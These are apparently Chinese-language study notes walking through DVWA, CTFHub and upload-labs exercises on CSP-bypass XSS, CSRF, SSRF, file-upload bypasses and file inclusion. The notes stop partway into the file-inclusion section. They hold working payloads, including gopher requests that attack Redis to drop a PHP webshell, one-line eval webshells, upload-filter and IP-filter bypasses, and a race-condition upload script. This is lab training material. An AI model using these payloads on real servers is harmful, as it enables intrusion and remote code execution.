$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
CSP 策略尝试使用 nonce 来防止攻击者添加内联脚本。HTTP 头信息中的 script-src 的合法来源发生了变化。script-src 还可以设置一些特殊值,unsafe-inline 允许执行页面内嵌的 <script>标签和事件监听函数,nonce 值会在每次 HTTP 回应给出一个授权 token。
- Attack
payload:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("XSS")</script>


直接通过内联 JavaScript 代码,注入时直接令 nonce 为设定好的值即可。
High
- 源码
// high.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
源代码的 CSP: "Content-Security-Policy: script-src ‘self’;" 意思是只能从本页面调用 javascript 脚本。
// high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
点击网页的按钮使 js 生成一个 script 标签,src 指向 source/jsonp.php?callback=solveNum。appendChild() 方法把 “source/jsonp.php?callback=solveNum” 加入到 DOM 中。 solveNum() 函数传入参数 obj,如果字符串 “answer” 在 obj 中就会执行。getElementById() 方法可返回对拥有指定 ID 的第一个对象的引用,innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。这里的 script 标签会把远程加载的 solveSum({"answer":"15"}) 当作 js 代码执行, 然后这个函数就会在页面显示答案。
// josnp.php
<?php
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
json.php 中的参数通过 get 方式获取,且没有做过滤。
- Attack

通过 POST 传参将 payload: include=<script src="source/jsonp.php?callback=alert('xss');"></script> 上传即可。
CSRF 跨站请求伪造攻击
一般来说,攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令。利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
DVWA
Low
- 源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

没有做任何防护。直接输入新密码即可。
- 抓包查看
将密码修改为 123456。


- Attack
URL 就是一个 GET 请求。诱骗用户点击此链接即可就会在用户不知情的情况下修改密码为 123456。
- 拦截请求后,右击请求界面,选择生成CSRF PoC


- 点击用浏览器中测试。


复制弹出来的 URL ,将burpsuite 改为 ip:8080 比如 127.0.0.1:8080,访问这个 URL 将会自动跳转到修改密码 URL ,并修改密码为 123456。
Medium
- 源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
检测机制:在修改密码等敏感操作时,会检测 referer 请求来源地址,里面是否存在主机 ip 或域名。我们可以构造一个有效的 Referer,可以在攻击服务器上创建一个新的 html 页面,命名时 要含有 csrf 网站主机 ip 地址。所以这对本地搭建的无影响。我们通过回环和局域网 Ip 的方式来进行测试。
假如服务器地址为 192.168.66.66,即为 SERVER_NAME,我们只需要把我们构造的恶意页面文件名改为 192.168.66.66.html,HTTP_REFERER就会包含192.168.66.66.html,就可以绕过 stripos了。
- Attack
- 通过本地
IP访问dvwa页面,利用burp抓包,并制作CSRF PoC。

- 复制
HTML代码,并将其命名为192.168.56.1放在WWW目录下。

- 放行原来的包将密码改回
password,通过回环访问本地的192.168.56.1.html文件并抓包。

可以看见 referer 和 host 的地址并不相同,我们将 referer 指向 攻击者服务器地址即 192.168.56.1.html即可绕过。


High
- 源码
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
checkToken函数来实现 Anti-csrf token 机制,用户每次访问更改密码页面时,服务器会返回一个随机的 token,之后每次向服务器发起请求,服务器会优先验证token,如果token正确,那么才会处理请求。所以我们在发起请求之前需要获取服务器返回的user_token,利用user_token绕过验证。这里我们可以使用burpsuit的CSRF Token Tracker插件可以直接绕过user_token验证。
- Attack

添加 Host 和 Name。

发送到 repeater,每次发送都会随机token的值,直接发送即可。
SSRF 服务器端请求伪造攻击
SSRF 简介
服务端请求伪造(Server-Side Request Forgery, SSRF)指的是在未取得服务器所有权限时,利用服务器上的应用程序从其他服务器上获取数据,通过构造数据利用服务器发送伪造的请求到目标内网,以此达到访问目标内网的数据,进行内网信息探测或者内网漏洞利用的目的。
SSRF漏洞攻击的主要目标是从外网无法访问的内网系统,由于服务器并未对目标地址、协议等重要参数进行过滤和限制,导致攻击者可以伪造请求。因为是由目标服务器发起,所以内部服务器并不会判断这个请求是否合法,而是以其身份访问其他内部资源。SSRF入口一般出现在调用外部资源的地方。

SSRF利用SSRF漏洞的出现场景如下。
- 需要本地访问,请求头无法绕过。
- 在URL中提交参数获取文件。
- 对外发起网络请求。
- 从远程服务器请求资源。
- 数据库内置功能。
- WebMail收取其他邮件。
- 文件处理、编码处理、属性信息处理。
SSRF 基础
内网访问
在CTF中,SSRF漏洞最常见的利用方式就是探测内网,根据127.0.0.1或找到的内网IP,对内网进行访问,结合BurpSuite可快速对目标端口进行检测。靶场环境为CTFHub技能树-Web-SSRF-内网访问。靶场中的URL通过GET方式传递参数变量url的值,通过该参数调用外部资源,所以成了SSRF漏洞的入口。
构造Payload访问服务器本地资源:?url=127.0.0.1/flag.php。发送伪造后的请求,即可获取flag。

伪协议
伪协议就是利用不同URL协议类型配合SSRF,也就是URL scheme机制。URL scheme是系统提供的一种机制,由应用程序注册,其他程序通过URL scheme调用该应用程序,包括系统默认的URL scheme与应用程序自定义的URL scheme。https://www.ctfhub.com中https://就属于系统默认的机制。
以CURL工具为例,其支持的协议如下。
- file://:访问本地文件系统(不受allow_url_fopen与allow_url_include的影响)。
- dict://:约定服务器端侦听的端口号。
- sftp://:基于SSH的文件传输协议。
- tftp://:基于lockstep机制的文件传输协议。
- ldap://:轻量化目录访问协议。
- gopher://:分布式文档传递服务。举个例子,CTFHub技能树-Web-SSRF-伪协议读取文件,使用file://协议读取flag.php的源码,构造Payload,
?url=file:///var/www/html/flag.php,发送请求即可得到flag。

端口扫描
内网的防护相较于外网来说较为薄弱,通过扫描服务器与内网主机的端口,可发现外网无法访问的服务,扩大可攻击范围,增加攻破系统的可能性。靶场环境为CTFHub技能树-Web-SSRF端口扫描。与上一题环境类似,构造Payload ?url=127.0.0.1:8000可直接使用BurpSuite对端口进行爆破。
注意不要勾选这个。

然后根据长度寻找flag。


Gopher协议
Gopher协议是HTTP出现之前在互联网上最常见,也是最常用的协议。Gopher协议能够传递底层的TCP数据流,攻击内网的FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求,所以在SSRF中Gopher协议的攻击面最广。Gopher协议的格式为gopher://127.0.0.1:70/_+ TCP/IP数据,这里的_是一种数据连接格式,也可以是任意字符
CTFHub技能树-Web-SSRF-POST请求
通过GET方式传参访问:?url=127.0.0.1/flag.php。

把key值放在输入框中,看回显。

使用file://协议读取index.php以及flag.php页面源码:?url=file:///var/www/html/flag.php。得到index.php页面的源码,

尝试使用Gopher协议向服务器发送POST包。首先构造Gopher协议所需的POST请求。
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded
key=b06c12d3ebf7718192cfa836adff793e
在使用Gopher协议发送POST请求包时,Host、Content-Type和Content-Length请求头是必不可少的,但在GET请求中可以没有。在向服务器发送请求时,浏览器会进行一次URL解码,服务器收到请求后,在执行CURL功能时,进行第二次URL解码,所以我们需要对构造的请求包进行两次URL编码。首先将构造好的请求包进行第一次URL编码。
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Length%3A%2036%0AContent-Type%3A%20application/x-www-form-urlencoded%0A%0Akey%3Db06c12d3ebf7718192cfa836adff793e
将第一次编码后的数据中的%0A全部替换为%0D%0A。因为Gopher协议包含的请求数据包中,可能包含=、&等特殊字符,为避免与服务器解析传入的参数键值对混淆,所以对数据包进行第二次URL编码,这样服务端会把%后的字节当作普通字节。
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%2036%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A%0D%0Akey%3Db06c12d3ebf7718192cfa836adff793e
进行第二次URL编码,得到如下Gopher请求内容。
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253Db06c12d3ebf7718192cfa836adff793e
发送请求:
http://challenge-f40a80b92e870be4.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Length:%252036%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey=b06c12d3ebf7718192cfa836adff793e

CTFHub技能树-Web-SSRF-上传文件
通过GET传参访问?url=127.0.0.1/flag.php,得到一个空上传功能点

提示需要上传WebShell,只能选择文件,没有提交按钮。使用file://协议读取flag.php的源码:?url=file:///var/www/html/flag.php。得到目标源码。

后端无任何过滤,也无文件类型限制,上传文件大小大于0即可,如图1-97所示。在flag.php页面中,还须满足请求只允许从本地访问,使用BurpSuite抓取数据包。

伪造gopher请求:
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
SSRF Upload
------WebKitFormBoundary1lYApMMA3NDrr2iY
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundary1lYApMMA3NDrr2iY--
和上面一样步骤进行两次url编码,伪造Payload:
?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520292%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250A%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522test.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250ASSRF%2520Upload%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary1lYApMMA3NDrr2iY--

攻击Redis
Redis是一个key-value存储系统,根据题目的提示,需要使用SSRF攻击内网的Redis服务,使用Gopherus工具生成攻击Redis的Payload。选择PHPShell,根目录路径为默认值,使用默认的PHPShell,得到构造好的Gopher协议Payload,其默认经过了一次URL编码,将%0A替换为%0D%0A,对其进行二次URL编码。
gopher%3A%2F%2F127.0.0.1%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问,虽然页面显示504,但是我们的shell.php已经写入了,可以通过shell.php去cat/flag*。

SSRF bypass
URL Bypass
靶场环境为CTFHub技能树-Web-SSRF-URL Bypass。题目要求请求的URL中必须包含http://notfound.ctfhub.com,我们需要利用合适的方法绕过该限制,可以利用HTTP基本身份认证绕过。HTTP的基本身份认证允许Web浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证,格式为http://user@domain。以@分割URL,前面为用户信息,后面才是真正的请求地址,我们可以利用这个特性去绕过一些URL过滤,直接请求http://notfound.ctfhub.com@127.0.0.1获得flag。
数字IP Bypass
指向127.0.0.1的地址如下。
● http://localhost/:localhost代表127.0.0.1。
● http://0/:0在Windows中代表0.0.0.0,在Linux下代表127.0.0.1。
● http://0.0.0.0/:这个IP表示本机IPv4的所有地址。
●http://[0:0:0:0:0:ffff:127.0.0.1]/:Linux系统下可用,Windows系统下不可用。
●http://[::]:80/:Linux系统下可用,Windows系统下不可用。
●http://127。0。0。1/:用中文句号绕过关键字检测。
●http://①②⑦.0.0.①:封闭式字母数字。
● http://127.1/:省略0。
● http://127.000.000.001:1和0的数量没影响,最终依然指向127.0.0.1。
使用不同进制代理IP地址Bypass
ip=127.0.0.11
ip=ip.split('.')
resu1t=(int(ip[0])<<24) | (int(ip[1])<<16) | (int(ip[2])<<8) | int(ip[3])
if result 0:
resu1t+=4294967296
print('十进制:',result)
print('八进制:',oct(result))
print('十六进制:',hex(result))
302跳转Bypass
靶场环境为CTFHub技能树-Web-SSRF-302跳转Bypass。通过GET传参的URL,尝试访问127.0.0.1/flag.php页面

与之前一样,通过REMOTE_ADDR请求头限制本地IP请求。通过file读取index.php, flag.php,
//index.php
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
$url = $_REQUEST['url'];
if (preg_match("/127|172|10|192/", $url)) {
exit("hacker! Ban Intranet IP");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
//flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
exit;
}
echo getenv("CTFHUB");
发现其中存在黑名单,限制了127、172、10、192网段,题目提示使用302跳转方式。尝试使用短网址绕过。将IP地址转10进制。
http://challenge-2c4ce174f1a61459.sandbox.ctfhub.com:10800/?url=2130706433/flag.php

DNS重绑定Bypass
DNS重绑定(DNS Rebinding)指的是在网页访问过程中,用户在地址栏输入域名,浏览器通过DNS服务器将域名解析为IP,然后向对应的IP请求资源。域名所有者可以设置域名所对应的IP,用户第一次访问时,域名会解析一个IP。域名持有者修改绑定的IP,当用户再次访问时,会重绑定到一个新的IP上,但对于浏览器来说,整个过程都是访问同一个域名,所以浏览器认为是安全的,于是造成DNS重绑定漏洞。
攻击过程大致如下。
1) 控制恶意的DNS服务器回复用户对域的查询。 2) 诱导受害者加载域名。 3) 受害者打开链接,浏览器发送DNS请求,获取域名的IP地址。 4) 恶意DNS服务器收到受害者请求,并使用真实的IP响应,设置较低的TTL值,减少DNS记录在DNS服务器上缓存的时间。 5) 从域名加载的网页中若包含恶意的JavaScript代码,构造恶意的请求将再次访问域名,导致受害者的浏览器执行恶意请求。
DNS重绑定攻击可使同源策略失效,由于同源策略是指同域名、同协议、同端口,检测的是域名而不是IP,而DNS重绑定的域名是一样的,因此同源策略就失效了。
靶场环境为CTFHub技能树-Web-SSRF-DNS重绑定Bypass。
首先使用file://协议读取index.php的源码,发现存在黑名单,限制了127、172、10、192网段,题目提示使用DNS重绑定方式,通过https://lock.cmpxchg8b.com/rebinder.html网站设置DNS。

使用生成的域名构造Payload:?url=7f000001.7f000002.rbndr.us/flag.php。通过浏览器发送请求,得到flag。

SSRF 进阶
无回显SSRF
无回显SSRF即我们无法看到通过SSRF请求的结果,这样就极大减少了SSRF的攻击面。下面介绍当碰到无回显SSRF时,我们如何利用。先看看如何判断SSRF漏洞是否存在。我们可以先在自己的服务器上用Netcat工具监听某个端口,然后通过SSRF去请求。如果我们的服务器收到请求了,说明存在SSRF。如果未收到,也不能判断其不存在,还需要考虑目标机器不出网的情况。
也可以通过DNSLOG去探测SSRF。虽然没有回显,但是我们还是能够通过一些别的信息去判断探测的结果,比如状态码、响应时间或者页面上的某一个特征。
在没有回显的情况下攻击内网的某些服务,如Redis,盲打内网的应用和服务。因为没有回显,所以很难判断我们构造的Payload是否攻击成功了。
攻击有认证的Redis服务
前面说到SSRF可以攻击内网无认证的Redis服务。如果碰到有认证的Redis服务,还能通过SSRF去利用吗?答案是可以。虽然SSRF每次只能发送一个数据包,无法保持登录状态,但是Redis使用的是RESP(Redis序列化协议),Redis客户端支持管道操作,可以通过单个写入操作发送多个命令,而无须在发出下一条命令之前读取上一条命令的服务器回复,所有的回复都可以在最后阅读。这样我们就可以通过SSRF发送一个数据包,完成认证和写入文件的操作。
文件上传
任意文件上传漏洞是指由于文件上传功能的实现代码没有严格限制用户上传的文件后缀以及文件类型,导致攻击者能够向某个可通过We b访问的目录上传恶意文件,该文件被脚本解析器执行后,就会在远程服务器上执行恶意脚本。
前端校验
实验 upload-labs-01
当客户端选中要上传的文件并点击上传时,如果没有向服务端发送任何数据信息,就对本地文件进行检测,判断是否是允许上传的文件类型,那么这种方式就称为客户端本地JavaScript检测。
检验方式
直接对上传动作进行抓包,bp没有反应就是本地校验。
绕过方法
抓包修改后缀即可。



MIME 认证
修改一下类型即可。

黑名单绕过
绕过方式很多,具体要看过滤的规则如何。
.htaccess
upload-labs pass-04 源码如下。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
.htaccess基础知识
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。
httpd.conf 里面有这样一段代码:AllowOverride None,我们把None改成All。
笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。 好了,我们开始上传一个.htaccess内容如下的文件:
上传 .htaccess。方法很多,可自查语法。
这个行代码含义就是将.jelasin文件解析为php。。
AddType application/x-httpd-php .jelasin
再上传一个shell.jelasin:
<?php @eval($_GET['cmd']);?>
图片马
upload-labs pass-14
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
tips 1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。 2.Jpg图片文件包括2字节:FF D8。 3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。 4.Bmp图片文件包括2字节:42 4D。即为 BM。
使用 cmd 制作图片马(建议手工):
copy aaa.png/b + shell.php/a aaashell.png
上传的图片马并不会直接执行,你用菜刀或者蚁剑直接连图片马也是不可以的,因为后端程序不会莫名其妙的把图片解析成二进制码。所以要配合文件包含漏洞。
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
上传jpg或png的话,保留文件前三行,将木马放在第四行即可。

条件竞争
upload-labs upload-18
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。
利用条件竞争传马的原理就是代码执行的过程是需要耗费时间的。我们需要在上传的一句话被删除之前访问。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmds"])?>');?>
把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个shell.php的一句话。

无限请求上传开始攻击。
在BP攻击的同时我们也要运行python脚本,目的就是不停地访问zoe.php知道成功访问到为止。当出现OK说明访问到了该文件。
import requests
url = "http://127.0.0.1/upload-labs/upload/race.php"
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
PS D:\> python3 .\race.py
OK

文件包含
文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
以PHP为例,常用的文件包含函数有以下四种 include(),require(),include_once(),require_once()
区别如下:
- require():找不到被包含的文件会产生致命错误,并停止脚本运行
- include():找不到被包含的文件只会产生警告,脚本继续执行
- require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
- include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
DVWA-LOW
<?php
// The page we wish to display
$file = $_GET['page'];
?>
local
通过page=xxx来打开相应的文件,此时漏洞点就暴露出来,page参数是不可控的。此时我们可以尝试打开一些私密性的文件,以 /etc/passwd (Linux中的)和 /var/www/phpinfo.php(Linux中的)文件为例,只要有足够的权限,在此处就可以打开想打开的文件。
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

remote
在服务器开启http服务并放置一个需要执行的php脚本:
python3 -m http.server 8888
访问远程脚本。

DVWA-MEDIUM
<?php
// The page we wish to display
